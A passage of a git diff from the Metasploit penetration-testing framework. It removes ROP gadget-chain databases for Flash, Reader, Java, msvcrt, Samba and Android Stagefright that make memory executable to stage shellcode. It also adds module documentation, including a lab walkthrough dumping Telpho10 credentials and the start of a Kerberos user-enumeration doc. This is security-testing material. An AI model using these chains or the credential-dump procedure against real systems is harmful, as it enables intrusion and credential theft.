- chr2 = utftext.charCodeAt(input_idx+1);
- string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
- input_idx += 2;
- } else {
- chr2 = utftext.charCodeAt(input_idx+1);
- chr3 = utftext.charCodeAt(input_idx+2);
- string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
- input_idx += 3;
- }
- }
-
- return string;
- }
-
-};
\ No newline at end of file
diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar
deleted file mode 100644
index e69de29bb2..0000000000
diff --git a/data/ropdb/flash.xml b/data/ropdb/flash.xml
deleted file mode 100644
index 0938e74829..0000000000
--- a/data/ropdb/flash.xml
+++ /dev/null
@@ -1,80 +0,0 @@
-
-
-
-
- 11.3.300.257
-
-
-
- POP EAX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[EAX] # RETN
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- jmp esp
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # RETN
-
-
-
-
-
- 11.3.300.265
-
-
-
- POP EAX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[EAX] # RETN
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- jmp esp
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # RETN
-
-
-
-
-
- 11.3.300.268
-
-
-
- POP ECX # RETN
- ptr to VirtualProtect()
- MOV EAX,DWORD PTR DS:[ECX]
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- jmp esp
- POP EBX # RETN
- 0x00000400-> ebx
- POP EDX # RETN
- 0x00000040-> edx
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- # RETN (ROP NOP)
- POP EAX # RETN
- nop
- PUSHAD # RETN
-
-
-
\ No newline at end of file
diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml
deleted file mode 100644
index 5531d05c06..0000000000
--- a/data/ropdb/hxds.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-
-
-
-
- 2007
-
-
-
- POP EAX # RETN
- ptr to VirtualProtect()
- POP EBP # RETN
- skip 4 bytes
- POP EBX # RETN
- Safe size to NEG
- XCHG EAX, EBX # RETN
- NEG EAX # RETN
- XCHG EAX, EBX # RETN
- POP EDX # RETN
- 0x00000040
- XCHG EAX, EDX # RETN
- NEG EAX # RETN
- XCHG EAX, EDX # RETN
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP ESI # RETN
- JMP [EAX]
- PUSHAD # RETN
- ptr to 'jmp esp'
-
-
-
-
-
- 2010
-
-
-
- POP EBP # RETN
- skip 4 bytes
- POP EBX # RETN
- Safe size to NEG
- XCHG EAX, EBX # RETN
- NEG EAX # POP ESI # RETN
- JUNK
- XCHG EAX, EBX # RETN
- POP EDX # RETN
- 0x00000040
- XCHG EAX, EDX # RETN
- NEG EAX # POP ESI # RETN
- JUNK
- XCHG EAX, EDX # RETN
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP ESI # RETN
- JMP [EAX]
- POP EAX # RETN
- ptr to VirtualProtect()
- PUSHAD # RETN
- ptr to 'jmp esp'
-
-
-
\ No newline at end of file
diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml
deleted file mode 100644
index 3a3959ce84..0000000000
--- a/data/ropdb/java.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-
-
- *
-
-
-
- POP EBP # RETN
- skip 4 bytes
- POP EAX # RETN
- 0x00000201
- NEG EAX # RETN
- POP EBX # RETN
-
- INC EBX # FPATAN # RETN
- ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
- POP EDX # RETN
- 0x00000040
- NEG EDX # RETN
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP ESI # RETN
- JMP [EAX]
- POP EAX # RETN
- ptr to VirtualProtect()
- PUSHAD # ADD AL,0EF # RETN
- ptr to 'push esp # ret
-
-
-
\ No newline at end of file
diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml
deleted file mode 100644
index 2a5416d0c2..0000000000
--- a/data/ropdb/msvcrt.xml
+++ /dev/null
@@ -1,71 +0,0 @@
-
-
-
-
- WINDOWS XP SP2
- WINDOWS XP SP3
-
-
-
- POP EAX # RETN
- 0xFFFFFBFF -> ebx
- NEG EAX # POP EBP # RETN
- JUNK
- POP EBX # RETN
- Writable location
- XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN
- POP EDX # RETN
- 0xFFFFFFC0-> edx
- XCHG EAX, EDX # RETN
- NEG EAX # POP EBX # RETN
- JUNK
- XCHG EAX, EDX # RETN
- POP EBP # RETN
- skip 4 bytes
- POP ECX # RETN
- Writable location
- POP EDI # RETN
- RETN (ROP NOP)
- POP ESI # RETN
- JMP [EAX]
- POP EAX # RETN
- ptr to VirtualProtect()
- PUSHAD # RETN
- ptr to 'push esp # ret
-
-
-
-
-
- WINDOWS SERVER 2003 SP1
- WINDOWS SERVER 2003 SP2
-
-
-
- POP EAX # RETN
- VirtualProtect()
- MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
- JUNK
- XCHG EAX,ESI # RETN
- POP EBP # RETN
- ptr to 'push esp # ret'
- POP EAX # RETN
- EAX
- SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
- POP EBX, RET
- .data
- XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
- POP ECX # RETN
- W pointer (lpOldProtect) (-> ecx)
- POP EDI # RETN
- ROP NOP (-> edi)
- POP EAX # RETN
- EAX
- SUB EAX, 03c0940f
- XCHG EAX,EDX # RETN
- POP EAX # RETN
- NOP
- PUSHAD # ADD AL,0EF # RETN
-
-
-
\ No newline at end of file
diff --git a/data/ropdb/reader.xml b/data/ropdb/reader.xml
deleted file mode 100644
index 2e4c6bd4ea..0000000000
--- a/data/ropdb/reader.xml
+++ /dev/null
@@ -1,132 +0,0 @@
-
-
-
-
-
- 9
-
-
-
- pop ecx # ret
- push eax # pop esp # ret
- pop eax # ret
- ptr to CreateFileMappingA()
- call [eax] # ret
- HANDLE hFile
- LPSECURITY_ATTRIBUTES lpAttributes
- DWORD flProtect
- DWORD dwMaximumSizeHigh
- DWORD dwMaximumSizeHigh
- LPCTSTR lpName
- pop edi # ret
- pop ebp # pop ebx # pop ecx # ret
- pop ebx # ret
- pop eax # ret
- pop ecx # ret
- ptr to MapViewOfFile()
- mov edx, ecx
- pop ecx # ret
- call [eax] # ret
- pushad # add al, 0 # ret
- DWORD dwDesiredAccess
- DWORD dwFileOffsetHigh
- DWORD dwFileOffsetLow
- SIZE_T dwNumberOfBytesToMap
- pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret
- jmp IAT msvcr80!memcpy
- ret
- JUNK
- memcpy length
- JUNK
- xchg eax, ebp # ret
- pushad # add al, 0 # ret
-
-
-
-
-
- 10
-
-
-
- pop ecx # ret
- push eax # pop esp # ret
- pop eax # ret
- ptr to CreateFileMappingA()
- call [eax] # ret
- HANDLE hFile
- LPSECURITY_ATTRIBUTES lpAttributes
- DWORD flProtect
- DWORD dwMaximumSizeHigh
- DWORD dwMaximumSizeHigh
- LPCTSTR lpName
- pop edi # ret
- pop ebp # pop ebx # pop ecx # ret
- pop ebx # ret
- pop eax # ret
- pop ecx # ret
- ptr to MapViewOfFile()
- mov edx, ecx
- pop ecx # ret
- call [eax] # ret
- pushad # add al, 0 # ret
- DWORD dwDesiredAccess
- DWORD dwFileOffsetHigh
- DWORD dwFileOffsetLow
- SIZE_T dwNumberOfBytesToMap
- pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret
- jmp to IAT msvcr90!memcpy
- ret
- JUNK
- memcpy length
- JUNK
- xchg eax, ebp # ret
- pushad # add al, 0 # ret
-
-
-
-
-
- 11
-
-
-
- pop ecx # ret
- push eax # pop esp # ret
- pop eax # ret
- ptr to CreateFileMappingA()
- call [eax] # ret
- HANDLE hFile
- LPSECURITY_ATTRIBUTES lpAttributes
- DWORD flProtect
- DWORD dwMaximumSizeHigh
- DWORD dwMaximumSizeHigh
- LPCTSTR lpName
- pop edi # ret
- JUNK
- pop ebx # pop esi # pop ebp # ret
- pop eax # ret
- pop esi # pop ebp # ret
- JUNK
- pop ecx # ret
- call [eax] # ret
- pop edx # ret
- ptr to MapViewOfFile()
- pushad # add al, 0 # pop ebp # ret
- DWORD dwDesiredAccess
- DWORD dwFileOffsetHigh
- DWORD dwFileOffsetLow
- SIZE_T dwNumberOfBytesToMap
- pop edi # pop esi # pop ebp # ret
- memcpy address
- call eax # ret
- memcpy address
- xchg eax, ebp # ret
- pop ebx # ret
- memcpy length
- pop edx # ret
- pop edx # ret
- pushad # add al, 0 # pop ebp # ret
-
-
-
\ No newline at end of file
diff --git a/data/ropdb/samba.xml b/data/ropdb/samba.xml
deleted file mode 100644
index 6fb70d93dd..0000000000
--- a/data/ropdb/samba.xml
+++ /dev/null
@@ -1,436 +0,0 @@
-
-
-
-
- Debian Squeeze / 2:3.5.6~dfsg-3squeeze6
-
-
-
-
-
- pop ebx ; pop ebp ; ret
- offset of .got.plt section
- ebp = junk to be skipped over
- pop eax; ret
- mmap@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @mmap
- jmp eax
- add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments
- mmap arg : addr
- mmap arg : size
- mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC
- mmap arg : MAP_PRIVATE | MAP_ANON
- mmap arg : filedes
- mmap arg : off_t
- junk to be skipped over
- pop edx ; inc ebx ; ret
- edx = writable location, in GOT
- mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT
- ebp = junk to be skipped over
- xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy
- pop esi ; ret
- pop ebp ; pop ecx ; ret || ecx = esp
- push esp ; and al, 0x0C ; call esi
- pop eax ; ret
- eax = value to add to esp to point to shellcode
- add eax, ecx ; pop edi ; pop ebp ; ret
- edi = junk to be skipped over
- ebp = junk to be skipped over
- xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy
- pop eax; ret
- memcpy@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @memcpy
- xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy
-
- xchg eax, esi ; ret || save eax
- pop eax; ret
- saved mmaped addr - 4
- mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr
- xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr
- xchg eax, esi ; ret ; || restore eax
- pop esi ; ret
- esi = offset of .got.plt section
- pop edi ; pop ebp **1** ; ret
- (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)
- junk for ebp **1**
- pushad ; ret || will ret on gadget (P) which was in edi
- payload size
-
-
-
-
-
-
-
-
- Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2
- Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2
-
-
-
-
-
- pop ebx ; ret
- offset of .got.plt section
- pop eax; ret
- mmap@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @mmap
- jmp eax
- add esp, 0x1C; ret || mmap ret, skip overt mmap arguments
- mmap arg : addr
- mmap arg : size
- mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC
- mmap arg : MAP_PRIVATE | MAP_ANON
- mmap arg : filedes
- mmap arg : off_t
- junk to be skipped over
- pop edx ; inc ebx ; ret
- edx = writable location, in GOT
- mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT
- xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy
- mov eax, ecx ; pop ebp ; ret
- junk for ebp
- mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr
- pop eax ; ret
- eax = writable location, in GOT
- pop ebx ; ret
- ebx = writable location, in GOT
- push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp
- junk for ebp
- mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret
- junk for ebx
- esi = value to add to esp to point to shellcode
- junk for edi
- xchg eax, ebx ; ret
- add ebx, esi ; ret || ebx = esp + XX == src in memcpy
- pop eax; ret
- memcpy@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @memcpy
- xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy
- pop esi ; ret
- esi = offset of .got.plt section
- pop edi ; pop ebp **1** ; ret
- (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)
- junk for ebp **1**
- pushad ; ret || will ret on gadget (P) which was in edi
- payload size
-
-
-
-
- Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2
-
-
-
-
- ebx = offset of .got.plt section
- esi = junk to be skipped over
- edi = junk to be skipped over
- ebp = junk to be skipped over
- pop eax; ret
- mmap@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @mmap
- jmp eax
- add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments
- mmap arg : addr
- mmap arg : size
- mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC
- mmap arg : MAP_PRIVATE | MAP_ANON
- mmap arg : filedes
- mmap arg : off_t
- junk to be skipped over
- pop edx ; inc ebx ; ret
- edx = writable location, in GOT
- mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT
- junk to be skipped over
- esi = pop ebx ; pop esi ; pop edi ; ret
- junk to be skipped over
- junk to be skipped over
- xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr
- push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp
- junk to be skipped over
- xchg eax, esi ; ret
- pop ecx ; ret
- value to add to esp to point to shellcode
- add eax, ecx ; pop edi ; pop ebp ; ret
- edi = junk to be skipped over
- ebp = junk to be skipped over
- xchg eax, ebx ; ret || ebx = src in memcpy
- pop eax; ret
- writable add in GOT - 4
- mov eax, dword [eax+0x04] ; ret || eax = mmaped addr
- xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy
- pop eax; ret
- memcpy@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @memcpy
- xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy
- pop esi ; ret
- esi = offset of .got.plt section
- pop edi ; pop ebp **1** ; ret
- (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)
- junk for ebp **1**
- pushad ; ret || will ret on gadget (P) which was in edi
- payload size
-
-
-
-
-
- Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8
-
-
-
-
-
- pop ebx ; pop ebp ; ret
- offset of .got.plt section
- ebp = junk to be skipped over
- pop eax; ret
- mmap@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @mmap
- jmp eax
- add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments
- mmap arg : addr
- mmap arg : size
- mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC
- mmap arg : MAP_PRIVATE | MAP_ANON
- mmap arg : filedes
- mmap arg : off_t
- junk to be skipped over
- pop edx ; inc ebx ; ret
- edx = writable location, in GOT
- mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT
- ebp = junk to be skipped over
- xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy
- pop esi ; ret
- pop ebp ; pop ecx ; ret || ecx = esp
- push esp ; and al, 0x0C ; call esi
- pop eax ; ret
- eax = value to add to esp to point to shellcode
- add eax, ecx ; pop edi ; pop ebp ; ret
- edi = junk to be skipped over
- ebp = junk to be skipped over
- xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy
- pop eax; ret
- memcpy@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @memcpy
- xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy
-
- xchg eax, esi ; ret || save eax
- pop eax; ret
- saved mmaped addr - 4
- mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr
- xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr
- xchg eax, esi ; ret ; || restore eax
- pop esi ; ret
- esi = offset of .got.plt section
- pop edi ; pop ebp **1** ; ret
- (P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)
- junk for ebp **1**
- pushad ; ret || will ret on gadget (P) which was in edi
- payload size
-
-
-
-
-
-
-
- 3.5.10-0.107.el5 on CentOS 5
-
-
-
-
-
- pop esi ; pop ebp ; ret
- pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk
- ebp = junk to be skipped over
- push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi
- esi = junk to be skipped over
- edi = junk to be skipped over
- xchg eax, ebx ; ret || eax = esp
- pop ecx ; ret
- value to add to esp to point to shellcode
- add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode
- pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad
- offset of writable/executable memory (last 0x800 bytes)
- pop eax ; ret
- memcpy@got - 4
- mov eax, dword [eax+0x04] ; ret || eax = @memcpy
- xchg eax, ebx ; ret || ebx = @memcpy
- mov eax, ecx ; ret || eax = ecx = src in memcpy
- pop esi ; pop ebp ; ret
- esi = offset of .got.plt section
- ebp = junk to be skipped over
- pop ecx ; ret
- offset of writable/executable memory (last 0x800 bytes)
- pop edi ; pop ebp ** 1 **; ret
- (P) pop ebx ; pop esi ; pop ebp ; ret
- junk for ebp **1**
- pushad ; ret
- payload size
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/data/ropdb/stagefright.xml b/data/ropdb/stagefright.xml
deleted file mode 100644
index 16ef6827b8..0000000000
--- a/data/ropdb/stagefright.xml
+++ /dev/null
@@ -1,225 +0,0 @@
-
-
-
-
- lrx
-
-
-
- value to be skipped (r3)
- value to be skipped (r4)
- pop {r0, r1, r2, r3, r4, r7, pc}
- mmap64 addres hint (none)
- mmap64 length (1 page)
- mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)
- mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)
- ptr to mmap64 (less 0x20)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- mmap64 fd
- mmap64 fd
- mmap64 offset (64-bit)
- mmap64 offset (64-bit)
- value to be skipped (r7)
- pop {r4, pc}
- ptr to memcpy (less 0x20)
- pop {r1, r2, r7, pc}
- memcpy src (address of payload)
- memcpy length (payload size)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- value to be skipped (r3)
- value to be skipped (r4)
- value to be skipped (r5)
- value to be skipped (r6)
- value to be skipped (r7)
- bx r0
-
-
-
-
-
- lmy-1
-
-
-
- value to be skipped (r3)
- value to be skipped (r4)
- pop {r0, r1, r2, r3, r4, r7, pc}
- mmap64 addres hint (none)
- mmap64 length (1 page)
- mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)
- mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)
- ptr to mmap64 (less 0x20)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- mmap64 fd
- mmap64 fd
- mmap64 offset (64-bit)
- mmap64 offset (64-bit)
- value to be skipped (r7)
- pop {r4, pc}
- ptr to memcpy (less 0x20)
- pop {r1, r2, r7, pc}
- memcpy src (address of payload)
- memcpy length (payload size)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- value to be skipped (r3)
- value to be skipped (r4)
- value to be skipped (r5)
- value to be skipped (r6)
- value to be skipped (r7)
- bx r0
-
-
-
-
-
- lmy-2
-
-
-
- value to be skipped (r3)
- value to be skipped (r4)
- pop {r0, r1, r2, r3, r4, r7, pc}
- mmap64 addres hint (none)
- mmap64 length (1 page)
- mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)
- mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)
- ptr to mmap64 (less 0x20)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- mmap64 fd
- mmap64 fd
- mmap64 offset (64-bit)
- mmap64 offset (64-bit)
- value to be skipped (r7)
- pop {r4, pc}
- ptr to memcpy (less 0x20)
- pop {r1, r2, r6, pc}
- memcpy src (address of payload)
- memcpy length (payload size)
- value to be skipped (r6)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- value to be skipped (r3)
- value to be skipped (r4)
- value to be skipped (r5)
- value to be skipped (r6)
- value to be skipped (r7)
- bx r0
-
-
-
-
-
- shamu / LYZ28E
-
-
-
- value to be skipped (r3)
- value to be skipped (r4)
- pop {r0, r1, r2, r3, r4, r7, pc}
- mmap64 addres hint (none)
- mmap64 length (1 page)
- mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)
- mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)
- ptr to mmap64 (less 0x20)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- mmap64 fd
- mmap64 fd
- mmap64 offset (64-bit)
- mmap64 offset (64-bit)
- value to be skipped (r7)
- pop {r4, pc}
- ptr to memcpy (less 0x20)
- pop {r1, r2, r6, pc}
- memcpy src (address of payload)
- memcpy length (payload size)
- value to be skipped (r6)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- value to be skipped (r3)
- value to be skipped (r4)
- value to be skipped (r5)
- value to be skipped (r6)
- value to be skipped (r7)
- bx r0
-
-
-
-
-
- shamu / LYZ28J
-
-
-
- value to be skipped (r3)
- value to be skipped (r4)
- pop {r0, r1, r2, r3, r4, r7, pc}
- mmap64 addres hint (none)
- mmap64 length (1 page)
- mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)
- mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)
- ptr to mmap64 (less 0x20)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- mmap64 fd
- mmap64 fd
- mmap64 offset (64-bit)
- mmap64 offset (64-bit)
- value to be skipped (r7)
- pop {r4, pc}
- ptr to memcpy (less 0x20)
- pop {r1, r2, r6, pc}
- memcpy src (address of payload)
- memcpy length (payload size)
- value to be skipped (r6)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- value to be skipped (r3)
- value to be skipped (r4)
- value to be skipped (r5)
- value to be skipped (r6)
- value to be skipped (r7)
- bx r0
-
-
-
-
-
- sm-g900v / OE1
-
-
-
- value to be skipped (r3)
- value to be skipped (r4)
- pop {r0, r1, r2, r3, r4, r7, pc}
- mmap64 addres hint (none)
- mmap64 length (1 page)
- mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)
- mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)
- ptr to mmap64 (less 0x20)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- mmap64 fd
- mmap64 fd
- mmap64 offset (64-bit)
- mmap64 offset (64-bit)
- value to be skipped (r7)
- pop {r4, pc}
- ptr to memcpy (less 0x20)
- pop {r1, r2, r7, pc}
- memcpy src (address of payload)
- memcpy length (payload size)
- value to be skipped (r7)
- ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}
- value to be skipped (r3)
- value to be skipped (r4)
- value to be skipped (r5)
- value to be skipped (r6)
- value to be skipped (r7)
- bx r0
-
-
-
-
diff --git a/db/schema.rb b/db/schema.rb
index 8eeea317b2..1819bccfe1 100644
--- a/db/schema.rb
+++ b/db/schema.rb
@@ -11,7 +11,7 @@
#
# It's strongly recommended that you check this file into your version control system.
-ActiveRecord::Schema.define(version: 20160415153312) do
+ActiveRecord::Schema.define(version: 20161004165612) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -800,12 +800,13 @@ ActiveRecord::Schema.define(version: 20160415153312) do
create_table "workspaces", force: :cascade do |t|
t.string "name"
- t.datetime "created_at", null: false
- t.datetime "updated_at", null: false
- t.string "boundary", limit: 4096
- t.string "description", limit: 4096
+ t.datetime "created_at", null: false
+ t.datetime "updated_at", null: false
+ t.string "boundary", limit: 4096
+ t.string "description", limit: 4096
t.integer "owner_id"
- t.boolean "limit_to_network", default: false, null: false
+ t.boolean "limit_to_network", default: false, null: false
+ t.boolean "import_fingerprint", default: false
end
end
diff --git a/documentation/modules/auxiliary/admin/http/telpho10_credential_dump.md b/documentation/modules/auxiliary/admin/http/telpho10_credential_dump.md
new file mode 100644
index 0000000000..88b633173c
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/http/telpho10_credential_dump.md
@@ -0,0 +1,133 @@
+## Vulnerable Application
+
+ Telpho10 v2.6.31 (32-bit Linux ISO image download [here](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso)).
+
+ Supporting documentation for this product can be found [here](http://www.telpho.de/downloads.php).
+
+## Verification Steps
+
+ The following steps will allow you to install and dump the credentials from a Telpho10 instance:
+
+ 1. Download the [Telpho10 ISO image](http://www.telpho.de/downloads/telpho10/telpho10-v2.6.31-SATA.iso) and install in a VM (or on a system)
+ - note that the ISO will default to a German keyboard layout
+ - note that the ISO expects a SATA hard drive (not IDE/PATA) for installation
+ 1. configure the Telpho10's IP address
+ - edit /etc/networks/interfaces accordingly
+ 1. Start msfconsole
+ 1. Do: ```use auxiliary/admin/http/telpho10_credential_dump```
+ 1. Do: ```set RHOST ```
+ 1. Do: ```run```
+ 1. You should see a list of the retrieved Telpho10 credentials
+
+## Scenarios
+
+ Example output when using this against a Telpho10 v2.6.31 VM:
+
+ ```
+$ ./msfconsole
+
+# cowsay++
+ ____________
+< metasploit >
+ ------------
+ \ ,__,
+ \ (oo)____
+ (__) )\
+ ||--|| *
+
+
+ =[ metasploit v4.12.36-dev-16fc6c1 ]
++ -- --=[ 1596 exploits - 908 auxiliary - 273 post ]
++ -- --=[ 458 payloads - 39 encoders - 8 nops ]
++ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
+
+msf > use auxiliary/admin/http/telpho10_credential_dump
+msf auxiliary(telpho10_credential_dump) > set RHOST 10.0.2.35
+RHOST => 10.0.2.35
+msf auxiliary(telpho10_credential_dump) > run
+
+[*] Generating backup
+[*] Downloading backup
+[+] File saved in: /home/pbarry/.msf4/loot/20161028155202_default_10.0.2.35_telpho10.backup_185682.tar
+[*] Dumping credentials
+
+[*] Login (/telpho/login.php)
+[*] -------------------------
+[+] Username: admin
+[+] Password: telpho
+
+[*] MySQL (/phpmyadmin)
+[*] -------------------
+[+] Username: root
+[+] Password: telpho
+
+[*] LDAP (/phpldapadmin)
+[*] --------------------
+[+] Username: cn=admin,dc=localdomain
+[+] Password: telpho
+
+[*] Asterisk MI (port 5038)
+[*] -----------------------
+[+] Username: telpho
+[+] Password: telpho
+
+[*] Mail configuration
+[*] ------------------
+[+] Mailserver:
+[+] Username:
+[+] Password:
+[+] Mail from:
+
+[*] Online Backup
+[*] -------------
+[+] ID:
+[+] Password:
+
+[*] Auxiliary module execution completed
+msf auxiliary(telpho10_credential_dump) >
+```
+
+I navigated my browser to the admin page of the UI and changed some of the password values, then ran the module again to verify I see the updated values:
+
+```
+msf auxiliary(telpho10_credential_dump) > run
+
+[*] Generating backup
+[*] Downloading backup
+[+] File saved in: /home/pbarry/.msf4/loot/20161028161929_default_10.0.2.35_telpho10.backup_044262.tar
+[*] Dumping credentials
+
+[*] Login (/telpho/login.php)
+[*] -------------------------
+[+] Username: admin
+[+] Password: s3cr3t
+
+[*] MySQL (/phpmyadmin)
+[*] -------------------
+[+] Username: root
+[+] Password: telpho
+
+[*] LDAP (/phpldapadmin)
+[*] --------------------
+[+] Username: cn=admin,dc=localdomain
+[+] Password: ldaps3cr3t
+
+[*] Asterisk MI (port 5038)
+[*] -----------------------
+[+] Username: telpho
+[+] Password: asterisks3cr3t
+
+[*] Mail configuration
+[*] ------------------
+[+] Mailserver:
+[+] Username:
+[+] Password:
+[+] Mail from:
+
+[*] Online Backup
+[*] -------------
+[+] ID:
+[+] Password:
+
+[*] Auxiliary module execution completed
+ ```
diff --git a/documentation/modules/auxiliary/gather/kerberos_enumusers.md b/documentation/modules/auxiliary/gather/kerberos_enumusers.md
new file mode 100644
index 0000000000..25066ce277
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/kerberos_enumusers.md
@@ -0,0 +1,99 @@
+The kerberos_enumusers module is used to enumerate valid Domain Users
+via Kerberos from a wholly unauthenticated perspective. It utilises the
+different responses returned by the service to identify users that exist
+within the target domain. It is also able to identify whether user
+accounts are enabled or disabled/locked out.
+
